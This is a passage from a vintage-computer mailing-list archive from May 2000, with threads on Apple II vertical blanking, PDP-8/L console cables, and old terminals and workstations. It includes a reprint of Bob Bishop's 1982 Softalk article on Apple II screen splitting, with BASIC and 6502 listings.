Must be something they added for the //e, the ][ and ][+ certainly don't > have that. No they don't, but they do have a way to achieve a similar effect. (Sellam, you might remember that we talked about this when I visted your house last September.) Because of the way the bus is constructed, you can read some address or other and get the current byte that's being sent to the screen. By itself, that won't give you the current screen location, but if you use a series of marker bytes in a certain place (and make sure they ONLY appear in that place), you can get the screen location. You may be able to store the marker bytes in the "holes" in the screen memory map (that don't correspond to any pixels). This trick was described in the magazine _Computist_. There are one or two "Best of Computist" books but they are out of print (I passed up the opportunity to buy one). However, the magazines themselves have now been scanned. Sorry, I don't have the URL. Look for "Vapor-Lock". I think the name was created like this: Your routine locks onto a certain part of the screen, but it uses fake, or vaporous, information about how to do it. The fact that "Vapor-Lock" is also a brand of plastic bag is merely coincidental. :) -- Derek From foo at siconic.com Thu May 18 19:31:07 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000518230203.19246.qmail@brouhaha.com> Message-ID: On 18 May 2000, Eric Smith wrote: > Sellam wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > > in the vertical blanking interval. > > Must be something they added for the //e, the ][ and ][+ certainly don't > have that. Hmmm, I could've swore all the ]['s have it but I can't find the reference to the location in the Apple ][ Reference Manual. And I've forgotten what the address was. I don't think I have the //e Tech Ref handy so I can't check that right away. Hmm. Now I'll have to figure this out or else it'll continue to bother me. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 18 19:35:59 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > Apple II's needed a simple hardware hack (a couple of wires or simple > components) in order to make one of the hardware memory addresses > correspond to the state of the vertical blanking interval (it would either > go high or low when vertical blanking was going on). IIe's and IIc's had a > memory location (hex C013?) that does that for you, no hardware hack > required. (Although, $C013 behaved in the opposite manner than Lancaster's > hack did--perhaps $C013 went high when Lancaster's memory location went > low and vice versa, so Lancaster's programs had to be modified a slight > bit in order to work). Ah. Thanks for clarifying that. Well then this brings me back to wondering how those programs that allowed mixed video modes on the Apple ][ worked. They required no hardware mods. Hmmm. > In any event, once you had the vertical blanking information, you could > write machine language programs that would switch between Apple graphic > modes just about anyplace on the screen (within limits). You were more or > less limited to static displays because of the timimg requirements, but > you could still do some interesting stuff. I typed in a few of the > programs, and still have them sitting around on a disk if anyone is > curious... The programs I'm talking about I saw as demos on that Magazine Diskette (Magazette) subscribtion service called SoftDisk (anyone remember that? lots o' cool stuff on that). And they had hi-res animation mixed with lo-res graphics and text-mode text. One day I will have to dig those disks out and dissect the code to figure out how they did it. I don't know why I didn't try to figure it out way back when. There was one hi-res graphics game I was writing where I was going to try to employ this trick and use a text line at the top of the screen to print out the score. I knew it would involve having to keep excrutiating track of each instruction cycle in the code to make the timing work. I never completed this part. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 18 19:40:32 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005190058.RAA22971@eskimo.com> Message-ID: On Thu, 18 May 2000, Derek Peschel wrote: > No they don't, but they do have a way to achieve a similar effect. (Sellam, > you might remember that we talked about this when I visted your house last > September.) Nope but go on... :) > Because of the way the bus is constructed, you can read some address or > other and get the current byte that's being sent to the screen. By itself, > that won't give you the current screen location, but if you use a series of > marker bytes in a certain place (and make sure they ONLY appear in that > place), you can get the screen location. You may be able to store the > marker bytes in the "holes" in the screen memory map (that don't correspond > to any pixels). HMMMMM! > This trick was described in the magazine _Computist_. There are one or two > "Best of Computist" books but they are out of print (I passed up the > opportunity to buy one). However, the magazines themselves have now been > scanned. Sorry, I don't have the URL. My subscription start at around issue #27 or something. I tried buying an entire run from #1 through like 40 or something from someone advertising them on an apple2 newsgroup but he wanted way too much. That was an awesome magazine! I learned so many cool hacks from it. I also had a few things published in it. I'll have to find the issue with that article and read up on it. Thanks for the reference. > Look for "Vapor-Lock". I think the name was created like this: Your > routine locks onto a certain part of the screen, but it uses fake, or > vaporous, information about how to do it. The fact that "Vapor-Lock" is > also a brand of plastic bag is merely coincidental. :) It's also the name given to a condition your car can get on a hot day (oh no, now all the gear heads are going to chime in with their explanations of this). Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From kyrrin at bluefeathertech.com Thu May 18 21:06:40 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:50 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Message-ID: <39243F40.26300.A5CA3C1@localhost> > Yesterday I picked up one of my more unusual finds, a Beehive > MicroB > terminal that looks like it's new in the box. See pictures at > "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through My God... I used to install those things for Western Union! They were used mainly as library database access terminals (for the OCLC system) at various universities. I installed at least four at CSU Hayward, and another half-dozen or so at UC Berkeley. > Does anyone want this? I don't need it and I don't have room to > keep Gad... if I had room myself, I'd send a call tag for it. Unfortunately... Maybe someone else will pipe up. I can tell you from personal experience that those things are almost as much of a tank as the LSI ADM-3A. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From djg at drs-esg.com Thu May 18 21:16:47 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:52:51 2005 Subject: PDP 8/L console Message-ID: <200005190216.WAA27720@drs-esg.com> >From: Lawrence LeMay >My PDP 8/L that I recently acquired, has a cable that i assume is for >the console terminal. It has a 9 pin male connector with only pins >1 through 6 present. Is this a standard serial connection? This was >a papertape based system, so it may have been connected to a teletype >ASR 33. Will I need to locate something that can do 110 baud to use >as a console? > If it is the W076 on the other end of the cable it is a teletype. It normally runs at 110 baud current loop. You can either create an external RS-232 to current loop or make a new W076 to do RS-232. If you want to cheat you can reduce the capacitor on the M452 to increase the baud rate. The serial port is not double buffered so you may have problems with overruns when sending tape images to the 8/L. I think the BIN/RIM loader is fast enough but Focal is not. On the teletype the data was held off by the reader run signal. >Also, I'm very curious about the other cables comming from the 8/L... >I have 6 flat black cables, similar to ribbon cable but thicker, with >9 'wires' on each cable. possibly each 'wire' is something similar >to coax, but i'm not sure... Each pair of these ribbon-like cables >go together into a centronics 36 pin male connector. thus there are >3 centronics connectors, which are labeled: "A D36", "B D35", "C D34". >Any clues as to what this might be for? > Peripherals. This extends the 6xxx instructions to external equipment and allows the external equipment to do 1 and 3 cycle databreaks (DMA). With 6 cables only programmed IO is supported, 10 or 11 are required for databreak. The labels are the location they plugged into the the peripheral. I think most DEC stuff like the DF32's I have on my 8/I use Flip chip connectors on both side so it may of been a third party peripheral. David Gesswein From ckaiser at oa.ptloma.edu Thu May 18 21:40:11 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:51 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005182211.PAA13479@islay.ssl.berkeley.edu> from "Eric J. Korpela" at "May 18, 0 03:11:06 pm" Message-ID: <200005190240.TAA13806@oa.ptloma.edu> ::> Most other-than-IO functions performed during I/O such as graphics, sound, ::> etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second ::> the screen is not painted. While the 'vertical blank' was occurring you ::> had several cpu cycles available. If you wrote very tight code you could ::> do a lot in those few cycles. On the Atari this was accomplished by GTIA ::> 'display lists' which are programs for the GTIA coprocessor. :: ::Apple interleaved graphics output (and DRAM refresh) with CPU cycles. This ::works because the 6502 only performs memory accesses at very predictable ::times. So there are no vertical (or horizontal) blank intervals in which ::the CPU is not doing something else. I knew I liked the C64's setup better, even if I complain about VIC-II DMA freezing the processor every eighth screen line. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Klein bottle for immediate occupancy; inquire within. ---------------------- From djg at drs-esg.com Thu May 18 21:39:42 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:52:51 2005 Subject: Stardent available Message-ID: <200005190239.WAA27857@drs-esg.com> Ok, its 4 months short of its 10th birthday but close enough. Work has a Stardent 1500/3000 Titan? computer they will be getting rid of. The machine did run when last powered on within the last year and comes with manuals (OS and programming, not much hardware) and backup tapes. It runs Unix. From what I understand it was for its time a "super mini" with good graphics capability. I haven't used it so am not too familiar with it. The machine is in a 4 foot rack and takes up a good portion of it so pickup in Gaithersburg MD is the best option if you want it. Anybody who offers PDP-8 stuff for my collection gets it otherwise probably free to whoever can take it. At this point work is saying they want to free the space but hasn't actually decided to get rid of it, verified it has no resale value etc. If you are interested let me know and I will let you know when work finishes the process. David Gesswein djg@drs-esg.com http://www.pdp8.net/ -- Old computers with blinken lights From transit at lerctr.org Thu May 18 21:41:01 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:51 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Vintage Computer GAWD! wrote: > On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > Ah. Thanks for clarifying that. > > Well then this brings me back to wondering how those programs that allowed > mixed video modes on the Apple ][ worked. They required no hardware mods. > Hmmm. I wasn't aware that any such programs existed, especially for the II. Any examples I should be on the lookout for? > > > In any event, once you had the vertical blanking information, you could > > write machine language programs that would switch between Apple graphic > > modes just about anyplace on the screen (within limits). You were more or > > less limited to static displays because of the timimg requirements, but > > you could still do some interesting stuff. I typed in a few of the > > programs, and still have them sitting around on a disk if anyone is > > curious... > > The programs I'm talking about I saw as demos on that Magazine Diskette > (Magazette) subscribtion service called SoftDisk (anyone remember that? > lots o' cool stuff on that). And they had hi-res animation mixed with > lo-res graphics and text-mode text. One day I will have to dig those > disks out and dissect the code to figure out how they did it. I don't > know why I didn't try to figure it out way back when. I have a bunch of Softdisk disks, mostly for the GS though (some will work on earlier machines). I haven't really looked through them all From kyrrin at bluefeathertech.com Thu May 18 21:53:35 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:51 2005 Subject: FW: VAXstation 3500 help please In-Reply-To: <39248DF0.D4C6692@mailcity.com> References: <39248DF0.D4C6692@mailcity.com> Message-ID: Forwarded to both CLASSICCMP and port-VAX (NetBSD) mailing lists). Found on Usenet. Got a fellow who's come across a VAXstation 3500 (Mayfair CPU?), and needs help with it. I've already tried answering some of his questions, but if anyone else wants to send him mail please feel free. Thanks! Attachment follows. -=-=- -=-=- On Thu, 18 May 2000 20:42:24 -0400, in comp.unix.questions you wrote: >>Path: news.uswest.net!news-out.uswest.net!newsfeed.cwix.com!feed1.news.rcn.net!rcn!not-for-mail >>From: Iakovlev >>Newsgroups: comp.unix.questions >>Subject: VAXstation 3500 help please >>Date: Thu, 18 May 2000 20:42:24 -0400 >>Lines: 21 >>Message-ID: <39248DF0.D4C6692@mailcity.com> >>Reply-To: iakovlev@mailcity.com >>Mime-Version: 1.0 >>Content-Type: text/plain; charset=us-ascii >>Content-Transfer-Encoding: 7bit >>X-Trace: wTfHF6OMbeKq6zRHTOHpf7j73AT8ReoCax6idfw8g+o= >>X-Complaints-To: abuse@rcn.com >>NNTP-Posting-Date: 19 May 2000 01:47:21 GMT >>X-Accept-Language: en,ru >>X-Mailer: Mozilla 4.7 [en] (Win98; U) >>Xref: news-out.uswest.net comp.unix.questions:17667 >> >>I ve got a VAXstation 3500 with no cables or monitor >> >>I do have transceivers and various monitors, but have no clue >>of how to connects any input/output devices.... >> >>I'm a student and have a purely educational interest in the beast - no >>love affairs or anything like that.... >> >>What's inside of it? >>What size of SCSI HD I can find inside? >>How big is the memory? >>Is there such a thing as video/memory? >> >>It comes with TK70 tape drive - is it still usable? how much data can it >>write to a tape - I even have 2 tapes for it! >> >>I have also 2 VT220 things - can they work with the beast? >> >>thank you so much for any useful info >> >>alex -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From paulrsm at ameritech.net Thu May 18 22:57:35 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:52:51 2005 Subject: Apple II vapor-lock Message-ID: <20000519035940.WIHI6794.mailhost.kal.ameritech.net@paulrsm> Here is the original article, which predates the Apple IIe. I scanned and OCR'd the article in response to a recent (beginning of March) thread on comp.sys.apple2.programmer. The Apple IIe vertical blanking signal (VBL) is at $C019. If the high bit is clear then vertical blanking is active. I used this signal to write a "lightstick" program for a contest in the June 1986 issue of II Computing. I got a letter back saying my entry was the best, but the prize was a year's subscription and the magazine went bust before announcing the winner. Bill Bell, the Boston designer who created the lightstick, calls the images "saccadoscoptics". Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net Have an Apple Split by Bob Bishop Softalk, October 1982 [This is a plain text file but I have used HTML codes to indicate italic and boldface.] Have you ever wanted to create a display with both lo-res graphics and hi-res graphics on the same screen? Or graphics with more than just four lines of text at the bottom? Or how about text with four lines of graphics? As we all know, the Apple II has only five display formats. It can display all lo-res graphics, all hi-res graphics, all text, lo-res with four lines of text at the bottom, or hi-res with four lines of text at the bottom. The latter two formats are sometimes called mixed modes because they allow, in a very restricted way, the mixing of graphics and text. But, according to page 12 of the Apple II Reference Manual, "There is no way to display both graphics modes at the same time." Well, not only are there ways of displaying both graphics modes on the same screen, it is also possible to display any combination of modes! The technique of mixing display modes by the process of screen splitting is familiar to programmers who've used the Apple III, the Atari 400 and 800 machines, and several other computers. These machines contain special hardware that helps detect what is referred to as vertical blanking and horizontal blanking. What is not generally known is that the blanking can be detected by the Apple II, even though it lacks the special hardware found in those other machines. Example Program. Before jumping into a technical discussion of the hows and whys of screen splitting, let's look at an example of screen splitting on the Apple II. Listings 1 and 2 present a short Applesoft main program and a machine language subroutine that the program calls. Take a few moments now to turn on your Apple and enter these two programs. Don't worry if you don't understand machine language. Just go into the Monitor from Basic by typing call-151 followed by the return key. Then start typing in the hexadecimal values for the listing 2 subroutine that starts at $0300: 300:8D 52 C0 A9 E0 A2 and so on followed by the return key. Now run the Applesoft program. What do you see? (Nothing, if you didn't type in the listings correctly.) You should see a text message in the top half of the screen and lo-res color graphics in the bottom half. This is a display mode that's supposed to be impossible to create on a standard Apple II computer! To understand how to do screen splitting on the Apple II, you must be familiar not only with 6502 machine language but also with how the Apple maps its memory onto the display screen. (The latter information can be found on pages 14 through 21 of the Apple II Reference Manual.) The essence of what we need to know about hi-res in particular is shown in figure 1. Each line of the display is forty bytes long from left to right, and there are 192 such lines from top to bottom. The memory mapping seems somewhat haphazard: consecutive memory locations don't map onto consecutive lines of the display. Finally, for each set of 128 bytes of display memory only 120 bytes (three lines' worth) are displayed. The remaining eight bytes of the 128-byte set are never seen and are therefore sometimes referred to as the "undisplayed" or "unused" bytes. These undisplayed bytes all lie, conceptually, just off the bottom right-hand edge of the display, as shown in figure 1. Text and lo-res both map in a way similar to hi-res, except that each cluster of eight lines now comes from one set of forty bytes instead of eight sets, and instead of the screen buffer being located at $2000 through $3FFF it lies at $0400 through $07FF. (Compare the Apple II Reference Manual pages 16 and 18 with page 21.) Some Preliminary Insights. Let's try a few experiments that might give us some clues as to how screen splitting can be accomplished. >From Basic type the command call -151 (followed by return) to get into the Monitor. Next, clear the screen by issuing the escape--shift-P sequence. Now type C051 followed by return. (Hitting return will always be assumed from now on.) The computer will probably display: C051- A0 (If it doesn't, try typing C051 again.) Typing C051 from the Monitor is the way to turn on text mode if the computer is displaying graphics. But since we're already in text mode, nothing much happens--nothing much except that the contents of $C051 are displayed. But $C051 isn't supposed to be a readable address; it's merely a screen switch. So what does it mean for $C051 to contain $A0? Is it just a coincidence that $A0 is the hex code for an ASCII blank, and that most of the screen is also blank? What would happen if we typed C054? Or C056? Again, we tend to get $A0 if the screen is mostly blank. Let's try another experiment. Again from the Monitor, type: 2000:73 2001<2000.3FFEM followed by. C050 C053 C057 You should see some vertical hi-res lines with space for four lines of text at the bottom of the screen. Now type C050, or C053, or C054, or C057. Most of the time we now see $73 in the screen switch locations, and once in a while we see $A0. (Remember that the bottom four text lines on the screen are mostly blank.) The results of the previous experiments suggest that by examining the screen switches we can somehow read the contents of at least part of the screen currently being displayed. But, to determine the time-history of what is being read, we must first find a way to "tag" the screen data and then sample the soft switches very quickly. Doing this would provide us with a cycle-by-cycle map of how the Apple's video is generated. In other words, we could determine which locations in memory the information in the screen switches is coming from during each clock cycle of the processor. Such a cycle-by-cycle map would be extremely useful in the implementation and understanding of screen splitting on the Apple II. Tagging and Sampling a Hi-Res Screen. Now let's create a special hi-res display. We'll put zeros in the forty bytes of the hi-res memory buffer that correspond to line 0 and ones in all the bytes corresponding to line 1. Line 2 will contain all twos, and so on. In other words, line n will contain all n's, for n = 0 to 191 ($00 to $BF). But we still haven't tagged the undisplayed bytes in the bottom right-hand corner (screen lines 128 through 191). Let's fill these sixty-four sets of eight-byte "invisible" lines with the values $C0 through $FF. Then every byte in the primary hi-res display buffer ($2000 through $3FFF), whether displayed or not, will contain a known quantity from $00 to $FF. Listing 3 is a program for creating such a hi-res display of tagged screen data. Two versions are given; one in Integer Basic and one in Applesoft. Use Integer if you have it. It's faster. Next we need to devise a way of quickly and uniformly sampling a screen switch over and over and saving each sample for later study. One way of doing this might be with a program like the following. LDX #$00 LOOP LDA $C050 STA $1000,X INX BNE LOOP This program is very short and straightforward, but it suffers from two major flaws: first, it does not provide the fastest possible sampling (because of the time required for index register operations). Second, it allows only 256 data points to be sampled and stored. If we try to remedy the second flaw by changing the method of storage to STA (indirect),Y we not only aggravate the first flaw but introduce delays into the loop that cause us to generate unevenly spaced samples after every two hundred fifty-sixth fetch. The best approach is to create a sampling program of the form: LDA $C050 STA $1000 LDA $C050 STA $1001 LDA $C050 STA $1002 and so on. There's no loop involved; an individual set of LDA and STA commands is used for each check. Such a program is quite long (six bytes per sample) but executes very quickly (one sample per eight machine cycles) and yields uniformly spaced data. The programs in listing 4 generate the machine language program just described. Again, use the Integer version if you have that language. We're now ready for business. Having run the programs shown in listings 3 and 4, we have the tagged hi-res data starting at $2000 and the sampling program starting at $4000. We run the sampler by entering the Monitor and giving the command 4000G. After a brief flash of the screen the program terminates, leaving its collection of screen samples starting at $1000 in the Integer version or $8000 in the Applesoft version. Figure 2 is a partial listing of the key results of the sampling program. The entire listing of all the samples is much longer. Interested readers are encouraged to generate their own complete set of data using the programs described above. Before we can begin interpreting these results, we must discuss some fundamental concepts about television video and the Apple. Television Images. A standard television picture consists of 525 interlaced scan lines that start in the upper left-hand corner of the screen and end in the bottom-right. "Interlaced" means that the image on the screen is created by first scanning all the even lines of the picture and then going back and filling in all the odd lines. In each scan line, the electron beam starts at the left side of the display and travels across the screen to the right, displaying one line of the image as it moves. When the beam finishes at the right end of each scan line, it shuts off for a few microseconds while it repositions itself at the beginning of the next line to be scanned. This shut-off period is referred to as horizontal blanking (HBL). When the beam reaches the bottom of the screen and finishes scanning the last line, it again shuts off, this time for a few milliseconds while it repositions itself at the top of the display for the next frame of the image. This second turn-off period is referred to as vertical blanking (VBL). The total time required to complete one interlaced frame (including VBLs) is one-thirtieth of a second. When the Apple computer was first being designed, it was discovered that a computer-generated interlaced video signal produced a display that had an objectionable flicker. So interlacing was not used, even though this meant that half of the potential vertical resolution would be lost. This lost spatial resolution allowed Apple to achieve increased temoral resolution; instead of generating only thirty video frames per second, the Apple generates sixty, because the Apple uses the interlace to display a new 192-line frame. A second design consideration in the Apple II was the decision not to overscan the screen. "Overscanning" means that the image extends slightly beyond the four edges of the screen so that the picture fills the entire viewing area. Instead, so that information in the corners won't be lost, the Apple leaves a small dark border of unused screen in all of its display modes. This further reduces the number of visible scan lines in each frame, so that only 192 lines remain in the display. The Apple transfers its video data to the screen at a rate of one byte per machine cycle. Each scan line requires a total of sixty-five cycles from HBL to HBL. Since the Apple produces a forty-column display (forty byes per line), we can deduce that twenty-five cycles of each scan line are spent in a turned-off state and forty cycles are spent turned on. But even when the video is turned off, the screen switches can still be sampled. What will they contain? Interpreting the Sampled Results. Let's return to figure 2 to see what we can learn from our sampled data. Locations $119B through $119F all contain zeros. Our sampling program required eight cycles per sample. Consequently, the five samples represent forty machine cycles--exactly the duration of the visible part of one scan line. Since the top line of our display was the only line containing all zeros. we infer that the data stored at $119B represents the beginning of a video frame. After three strange bytes ($11A0-$11A2) we see five ones in a row. These apparently represent the next scan line down, followed by three more strange bytes, and so on. Well, if we've identified the data that isn't strange as representing the visible portions of the scan lines, then it follows that the strange bytes must be coming during HBL, and that HBL maps from $81 lines ahead of the line just scanned. The fact that HBL seems to come from such a far-away place is confusing enough in itself, but why an odd number like $81 instead of a nice power of two or something (like $80)? Something about these results doesn't feel right; they just don't seem to make any sense. Well, our decision to attribute HBL to the end of a scan line was simply one of convention. Since HBL occurs between scan lines, we could just as easily have attributed it to the beginning of a scan line. Then our interpretation of the data in figure 2 would be that a scan line consists of its visible forty-cycle component preceded by its invisible twenty-five-cycle HBL component, which is mapped from $40 display lines earlier. This model assumes a circular screen; that is, if counting up $40 lines would take you off the top of the screen, continue counting up from the bottom. If we interpret the data in this fashion, it soon becomes evident that: a complete sixty-five-cycle scan line consists of sixty-five consecutive bytes of display buffer memory that starts twenty-five bytes prior to the actual data to be displayed. (See figure 3.) We can even see the undisplayed bytes of the screen buffer (where we stored the values $C0 through $FF, remember?) in locations $119A, $11A2, and so on; they're right where we'd expect them to be. If we now look at locations $17AB through $17AF in figure 2 we see that they all contain $BF, which represents the bottom line of the display. Thus $17B0 must be the start of VBL. During VBL the data acts just as if it were starting a whole new frame from the beginning, but it never finishes this pseudo-frame. After getting one third of the way through the frame (to scan line $3F), it suddenly repeats the previous six scan lines ($3A through $3F) before aborting to begin the next true frame. Examine locations $1970 through $19FF in figure 2. If we had done our tagging and sampling exercise using a lo-res or text screen instead, the results would have been similar. The only difference would have been that each row of sixty-five bytes in the display would be repeated eight times, since both text and lo-res "characters" are eight scan lines tall. Example Program Revisited. Now that we have a better feeling for what's going on, let's go back and try to understand how the screen splitting example in listing 1 worked. The for-next loop in lines 200 through 250 does three things: 1. Line 210 pokes the value $E0 into the middle line of text/low-res display. 2. Line 220 pokes the value $A0 into the bottom line of the display. 3. Lines 230 and 240 create a simple lo-res pattern of colored vertical lines. After printing a text message (lines 300 through 310) in the top part of the screen, the program calls (in line 400) the machine language screen splitting subroutine located at $0300. Line 500 then keeps re-calling the subroutine so that screen splitting will continue. Screen splitting is a dynamic process; it requires a program to keep it working. If the program stops, screen splitting stops. Try hitting control-C and see what happens. Now let's examine the machine language subroutine. Ironically, one of the first things we have to do to produce a mixed mode display is to turn off the mixed mode screen switch, $C052. Since we'll be doing our own mixing we don't want the Apple to confuse things by putting in its own mode switching. The rest of the routine consists of two virtually identical polling loops. The first loop ($0305 through $030E) sets text mode by referencing screen switch $C051 and, at the same time, waits for four consecutive $E0s to be scanned. Where do these $E0s come from? From the middle of the display screen where they were poked by line 210 of the Applesoft program! When the $E0s are detected, the subroutine enters the second pollng loop ($0311 through $031A). This loop sets lo-res graphics mode by referencing screen switch $C050 and then waits for four consecutive $A0s (from the bottom line of the display) to be scanned. Once the $A0s have been detected, the mode is set back to text (at location $031B) and the subroutine returns to the main program. There are a few subtleties here that should be pointed out. Why, for example, do we require four consecutive occurrences of $A0 and $E0 instead of just one? The reason for this can be inferred from figure 3. We see that every displayed line also has apart of itself mapped into some other display line's twenty-five-cycle "invisible" HBL component. This complicates the problem of detecting where the beam is currently scanning on the display. How do we know whether the data being sampled is coming from a visible scan or from an invisible HBL? Well, a visible scan consists of forty cycles of data, while the invisible HBL can only be twenty-five cycles at most. So, by requiring several consecutive samples whose fetching times total more than twenty-five cycles duration, we will eliminate false triggerings from HBL. Be careful not to exceed forty cycles or you'll miss the visible data too. The process of mode changing sometimes tends to produce small unsightly glitches on the display screen. To test this out, change the contents of location $0305 in our example program in listing 2 to be either a $03 or a $02 and see if it makes any difference in the display. You can see how it's a good idea to try to change modes during HBL (or VBL) rather than in the middle of a visible scan line. Another subtlety in the example program lies in our choice of $A0 and $E0 as tag bytes. While any values could have been used as tags, the values $A0 and $E0 are especially useful because they both appear as blanks on a text screen. On a lo-res graphics screen they appear (in our example) as a row of black (or blank) over a row of color. Thus these values provide a convenient way of switching cleanly between text and graphics modes. In Conclusion. From our examination of the example program, we see that screen splitting consists of essentially two steps. First, the screen must be preformatted with "tagged" lines at the points where screen splitting is to occur (that is, the $A0 and $E0 lines in our example). Second, a machine language subroutine must be written that detects these tagged lines and then quickly switches display modes. But the process is far from being trivial, and it requires a certain amount of creativity and ingenuity to design screens that can be split cleanly and effectively. What are some applications of screen splitting? Well, it can provide for a little more variety and flexibility in display modes above and beyond the basic five that everyone knows about. To this end I have used screen splitting to create the opening displays for several commercially available games (Maxwell's Demon/Bishop's Square, from Datasoft, Inc.; Money Munchers, from DataMost). In addition to splitting a screen, we can superimpose screens. For example, if we print some words on the primary text screen and plot some lo-res colors in the corresponding locations of the secondary lo-res screen, then by screen switching, we could produce text on top of a colored background (if we don't mind a little bit of flicker). Similarly, by combining the two hi-res pages in such a way that the primary page has all of its high bits off while the secondary page has all of its high bits on, we can generate true 560 x 192 hi-res graphics. It is then possible to write a hi-res character generator for this mode that, in effect, produces eighty columns of text (in hi-res) without benefit of an eighty-column card! The possibilities arising from screen splitting seem quite exciting, to say the least. But there is, unfortunately, one fly in the ointment--the technique may not work on all Apples. Looking at the screen switches like we've been doing is called "reading the floating bus," and it's something that Apple Computer never intended to be done. Therefore, they make no guarantees that the data read in this manner will be meaningful, especially when certain peripheral cards are plugged into the expansion slots. In fact, this method of screen splitting doesn't work on the Apple III at all, even in emulation mode, because its bus doesn't float. But there seem to be very few Apple IIs in which the method can't be made to work when the incompatible peripherals are unplugged. If you can't get screen splitting to work on your Apple, you might want to try running the machine language program shown in listing 5. Load a hi-res picture into the primary display buffer ($2000 through $3FFF), create any lo-res display on the primary lo-res screen, and then run the program at $1000. This program is an example of screen splitting using nothing but timing loops. But there's no way to synchronize the splitting. So, each time you run the program, the split will occur at a different vertical position on the screen, depending on which scan line you just happen to catch the beam on. This program should work on all Apples. ----------------------- The author would like to thank D. Kottke, R. Nicholson, and B. Smith of Apple Computer for their helpfull discussions on Apple II video hardware and L. Grossberger of Eclectic Electric for her suggestions and help in preparing the diagrams for this article. ---------------------------------------------------------------------------- - 100 HOME 200 FOR K = 0 TO 39 210 POKE 1448 + K, 14 * 16 220 POKE 2000 + K, 10 * 16 230 COLOR= K + 4 240 VLIN 25,45 AT K 250 NEXT K 300 VTAB 6: HTAB 17 310 PRINT "APPLE II" 400 CALL 768 500 GOTO 400 Listing 1. ---------------------------------------------------------------------------- - 0300- 8D 52 C0 STA $C052 0303- A9 E0 LDA #$E0 0305- A2 04 LDX #$04 0307- CD 51 C0 CMP $C051 030A- D0 F9 BNE $0305 030C- CA DEX 030D- D0 F8 BNE $0307 030F- A9 A0 LDA #$A0 0311- A2 04 LDX #$04 0313- CD 50 C0 CMP $C050 0316- D0 F9 BNE $0311 0318- CA DEX 0319- D0 F8 BNE $0313 031B- 8D 51 C0 STA $C051 031E- 60 RTS Listing 2. ---------------------------------------------------------------------------- - LINE ADDRESS _______________________________________ $00 $2000 | | $2027 $01 $2400 | | $02 $2800 | | $03 $2C00 | | $04 $3000 | | $05 $3400 | | $06 $3800 | | $07 $3C00 | | $08 $2080 | | ... ... | | | | / / / / | | |_______________________________________| $40 $2028 ----| | $204F | | | | | | | | | | | | | | | | | | | | / / / / | | |_______________________________________|_______ $80 $2050 ----| | | $207F | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | / / / / / / | | | $BF $3FD0 ----|_______________________________________|_______| $3FFF |<------------- DISPLAYED ------------->|<- \ ->| UNDISPLAYED Arrow from $2000 to $2027. Arrow from $2027 to $2028. Arrow from $2028 to $204F. Arrow from $274F to $2050. Arrow from $2050 to $207F. Arrow from $207F to $2000. Figure 1. Memory mapping of bytes on hi-res page. ---------------------------------------------------------------------------- - 100 FOR Y = 0 TO 191 110 GOSUB 1000 120 FOR X = 0 TO 39 130 POKE BASE + X,Y 140 NEXT X,Y 150 FOR Y = 128 TO 191 160 GOSUB 1000 170 FOR X = 40 TO 47 180 POKE BASE + X,Y + 64 190 NEXT X,Y 200 END 1000 L = Y:S = 0:Q = 0 1010 S = INT (L / 64) 1020 L = L - S * 64 1030 Q = INT (L / 8) 1040 L = L - Q * 8 1050 BASE = 8192 + 1024 * L + 128 * Q + 40 * S 1060 RETURN Listing 3--Applesoft. ---------------------------------------------------------------------------- - 100 FOR Y = 0 TO 191 110 GOSUB 1000 120 FOR X = 0 TO 39 130 POKE BASE+X,Y 140 NEXT X,Y 150 FOR Y = 128 TO 191 160 GOSUB 1000 170 FOR X = 40 TO 47 180 POKE BASE+X,Y+64 190 NEXT X,Y 500 END 1000 BASE=8192+40*(Y/64)+1024*(Y MOD 8)+128*((Y MOD 64)/8): RETURN Listing 